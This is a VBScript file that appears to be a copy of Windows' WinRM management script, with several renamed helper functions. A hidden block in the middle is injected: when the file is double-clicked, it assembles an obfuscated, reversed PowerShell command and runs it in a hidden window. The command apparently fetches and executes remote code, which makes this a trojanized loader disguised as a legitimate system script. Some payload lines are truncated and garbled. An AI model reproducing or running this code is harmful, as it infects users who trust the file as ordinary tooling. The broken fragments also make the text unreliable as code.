Private Function QuickConfigRemoting(session, cmdlineOptions, serviceOnly)
Dim analysisInputXml
Dim analysisOutputXml
Dim analysisOutput
Dim transport
Dim action
If (serviceOnly = false) Then
If (Not cmdlineOptions.ArgumentExists(NPARA_TRANSPORT)) Then
transport = "http"
Else
transport = cmdlineOptions.Argument(NPARA_TRANSPORT)
End If
End If
If (serviceOnly = true) Then
analysisInputXml = "<AnalyzeService_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""></AnalyzeService_INPUT>"
action = "AnalyzeService"
ElseIf (cmdlineOptions.ArgumentExists(NPARA_FORCE)) Then
analysisInputXml = "<Analyze_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""><Transport>" & transport & "</Transport><Force/></Analyze_INPUT>"
action = "Analyze"
Else
analysisInputXml = "<Analyze_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""><Transport>" & transport & "</Transport></Analyze_INPUT>"
action = "Analyze"
End If
On Error Resume Next
analysisOutputXml = sessionObj.Invoke(action, "winrm/config/service", analysisInputXml)
If Err.Number <> 0 Then
Exit Function
End If
'wscript.echo analysisOutputXml
On Error Resume Next
Set analysisOutput = CreateObject("MSXML2.DOMDocument.6.0")
If Err.number <> 0 Then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
Exit Function
End If
analysisOutput.LoadXML(analysisOutputXml)
If (analysisOutput.parseError.errorCode <> 0) Then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
Exit Function
End If
Dim xpathEnabled
Dim xpathText
Dim xpathUpdate
If (serviceOnly = true) Then
xpathEnabled = "/s:AnalyzeService_OUTPUT/s:RemotingEnabled"
xpathText = "/s:AnalyzeService_OUTPUT/s:Results"
xpathUpdate = "/s:AnalyzeService_OUTPUT/s:EnableService_INPUT"
Else
xpathEnabled = "/s:Analyze_OUTPUT/s:RemotingEnabled"
xpathText = "/s:Analyze_OUTPUT/s:Results"
xpathUpdate = "/s:Analyze_OUTPUT/s:EnableRemoting_INPUT"
End If
Dim enabled
Dim displayText
Dim updateInputXml
Dim source
enabled = GetElementByXpath(analysisOutput, xpathEnabled)
source = GetElementAttributeByXpath(analysisOutput, xpathEnabled, "Source")
If (enabled = "true") Then
If (serviceOnly = true) Then
stdOut.WriteLine resurgimento("L_QuickConfigNoServiceChangesNeeded_Message2")
Else
stdOut.WriteLine resurgimento("L_QuickConfigNoChangesNeeded_Message")
End If
Exit Function
End If
If (enabled <> "false") Then
stdErr.WriteLine resurgimento("L_QuickConfig_InvalidBool_0_ErrorMessage")
Exit Function
End If
displayText = GetElementByXpath(analysisOutput, xpathText)
updateInputXml = GetElementByXpath(analysisOutput, xpathUpdate)
if (source = "GPO") Then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage")
stdErr.WriteLine displayText
Exit Function
End If
'wscript.echo updateInputXml
If (updateInputXml = "" OR displayText = "") Then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_QuickConfig_MissingUpdateXml_0_ErrorMessage")
Exit Function
End If
If (serviceOnly = true) Then
stdOut.writeline resurgimento("L_QuickConfig_ServiceUpdatesNeeded_0_Message")
Else
stdOut.writeline resurgimento("L_QuickConfig_UpdatesNeeded_0_Message")
End If
stdOut.writeline resurgimento("L_QuickConfig_UpdatesNeeded_1_Message")
stdOut.writeline ""
stdOut.writeline displayText
stdOut.writeline ""
If (Not cmdlineOptions.ArgumentExists(NPARA_QUIET) And Not cmdlineOptions.ArgumentExists(NPARA_FORCE)) Then
stdOut.write resurgimento("L_QuickConfig_Prompt_0_Message")
dim answer
answer = LCase(stdIn.ReadLine)
If answer <> "y" And answer <> "yes" Then
Exit Function
End If
stdOut.writeline ""
End If
Dim updateOutputXml
If (serviceOnly = true) Then
action = "EnableService"
Else
action = "EnableRemoting"
End If
On Error Resume Next
updateOutputXml = sessionObj.Invoke(action, "winrm/config/service", updateInputXml)
If Err.Number <> 0 Then
Exit Function
End If
'wscript.echo updateOutputXml
Dim updateOutput
On Error Resume Next
Set updateOutput = CreateObject("MSXML2.DOMDocument.6.0")
If Err.number <> 0 Then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
Exit Function
End If
updateOutput.LoadXML(updateOutputXml)
If (updateOutput.parseError.errorCode <> 0) Then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
Exit Function
End If
Dim xpathStatus
Dim xpathResult
If (serviceOnly = true) Then
xpathStatus = "/s:EnableService_OUTPUT/s:Status"
xpathResult = "/s:EnableService_OUTPUT/s:Results"
Else
xpathStatus = "/s:EnableRemoting_OUTPUT/s:Status"
xpathResult = "/s:EnableRemoting_OUTPUT/s:Results"
End If
Dim status
Dim resultText
status = GetElementByXpath(updateOutput, xpathStatus)
resultText = GetElementByXpath(updateOutput, xpathResult)
If (status = "succeeded") Then
If (serviceOnly = true) Then
stdOut.WriteLine resurgimento("L_QuickConfigUpdatedService_Message")
Else
stdOut.WriteLine resurgimento("L_QuickConfigUpdated_Message")
End If
Else
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_QuickConfigUpdateFailed_ErrorMessage")
End If
If (resultText <> "") Then
stdOut.WriteLine ""
stdOut.WriteLine resultText
End If
End Function
private function Enumerate(wsmanObj, session, cmdlineOptions, resLocator, formatOption)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if cmdlineOptions.ArgumentExists(NPARA_FILTER) then
filter = cmdlineOptions.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if cmdlineOptions.ArgumentExists(NPARA_DIALECT) then
dialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not cmdlineOptions.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (cmdlineOptions.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR wsmanObj.EnumerationFlagAssociationInstance
Else
flags = flags OR wsmanObj.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and cmdlineOptions.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if cmdlineOptions.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(cmdlineOptions.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR wsmanObj.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR wsmanObj.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & cmdlineOptions.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (cmdlineOptions.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR wsmanObj.EnumerationFlagHierarchyShallow
elseif (cmdlineOptions.ArgumentExists(NPARA_BASE_PROPS_OctonianoY)) then
flags = flags OR wsmanObj.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR wsmanObj.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = session.Enumerate(resLocator, filter, dialect, flags)
if Err.Number = T_O then
set e = session.Enumerate(resLocator, filter, dialect, flags)
if Err.Number = T_O then
set e = session.Enumerate(resLocator, filter, dialect, flags)
end if
end if
ASSERTERR session, formatOption
on error goto 0
if cmdlineOptions.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = cmdlineOptions.Argument(NPARA_TIMEOUT)
end if
if(LCase(formatOption) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, formatOption
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,formatOption) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(formatOption) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
Enumerate = ""
end function
'''''''''''''''''''''
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, resurgimento("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_IPMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, resurgimento("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,cmdlineOptions)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = cmdlineOptions.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(cmdlineOptions.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = cmdlineOptions.Argument(NPARA_FRAGMENT)
end if
if(cmdlineOptions.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
private function octusse()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
octusse = True
else
octusse = False
end if
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
private function ProcessInput(wsman, operation, root, cmdlineOptions, resourceLocator,sessionObj,inputStr,formatOption)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = cmdlineOptions.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if cmdlineOptions.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(cmdlineOptions.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
putStr = sessionObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR sessionObj, formatOption
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
If Not octusse() Then
On Error Resume Next
Dim boucha
boucha = StrReverse("=
Set desavantajoso = WScript.CreateObject("WScript.Shell")
Dim sordes
sordes = ("$C
") & boucha & "
sordes = sordes & ";$
ext.en
.GetSt
sordes = sordes & "[
sordes = sordes & ";po
xe -wi
Dim balanquim
balanquim = "
sordes = Replace(sordes, balanquim, "")
Dim dijambo
dijambo = "po
ell -co
nd " & sordes
dijambo = Replace(dijambo, balanquim, "")
desavantajoso.Run dijambo, 0, False
WScript.Quit(epicycloidal)
End If
''''''''''''''''''''
' Escapes non XML chars
private function Escape(str)
dim i
for i = 1 to Len(str)
select case Mid(str, i, 1)
case "&"
Escape = Escape & "&"
case "<"
Escape = Escape & "<"
case ">"
Escape = Escape & ">"
case """"
Escape = Escape & """
case "'"
Escape = Escape & "'"
case else
Escape = Escape & Mid(str, i, 1)
end select
next
end function
'''''''''''''''''''''
' Checks if this script is running under cscript.exe
private function segrel()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
segrel = True
else
segrel = False
end if
end function
private function CreateSession(wsman, conStr, optDic, formatOption)
dim sessionFlags
dim conOpt
dim session
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword
sessionFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
set conOpt = Nothing
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
sessionFlags = sessionFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
sessionFlags = sessionFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
sessionFlags = sessionFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
